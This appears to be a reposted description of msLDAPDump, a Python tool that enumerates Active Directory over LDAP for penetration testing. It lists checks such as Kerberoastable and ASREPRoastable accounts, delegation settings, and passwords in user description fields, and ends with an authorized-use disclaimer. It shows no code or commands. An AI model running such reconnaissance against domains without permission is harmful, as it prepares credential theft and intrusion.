By: Zion3R


msLDAPDump simplifies LDAP enumeration in a domain environment by wrapping the lpap3 library from Python in an easy-to-use interface. Like most of my tools, this one works best on Windows. If using Unix, the tool will not resolve hostnames that are not accessible via eth0 currently.


Binding Anonymously

Users can bind to LDAP anonymously through the tool and dump basic information about LDAP, including domain naming context, domain controller hostnames, and more.

Credentialed Bind

Users can bind to LDAP utilizing valid user account credentials or a valid NTLM hash. Using credentials will obtain the same information as the anonymously binded request, as well as checking for the following:
  • Subnet scan for systems with ports 389 and 636 open
  • Basic Domain Info (Current user permissions, domain SID, password policy, machine account quota)
  • Users
  • Groups
  • Kerberoastable Accounts
  • ASREPRoastable Accounts
  • Constrained Delegation
  • Unconstrained Delegation
  • Computer Accounts - will also attempt DNS lookups on the hostname to identify IP addresses
  • Identify Domain Controllers
  • Identify Servers
  • Identify Deprecated Operating Systems
  • Identify MSSQL Servers
  • Identify Exchange Servers
  • Group Policy Objects (GPO)
  • Passwords in User description fields

Each check outputs the raw contents to a text file, and an abbreviated, cleaner version of the results in the terminal environment. The results in the terminal are pulled from the individual text files.

  • Add support for LDAPS (LDAP Secure)
  • NTLM Authentication
  • Figure out why Unix only allows one adapter to make a call out to the LDAP server (removed resolution from Linux until resolved)
  • Add support for querying child domain information (currently does not respond nicely to querying child domain controllers)
  • Figure out how to link the name to the Description field dump at the end of the script
  • mplement command line options rather than inputs
  • Check for deprecated operating systems in the domain

Mandatory Disclaimer

Please keep in mind that this tool is meant for ethical hacking and penetration testing purposes only. I do not condone any behavior that would include testing targets that you do not currently have permission to test against.



❌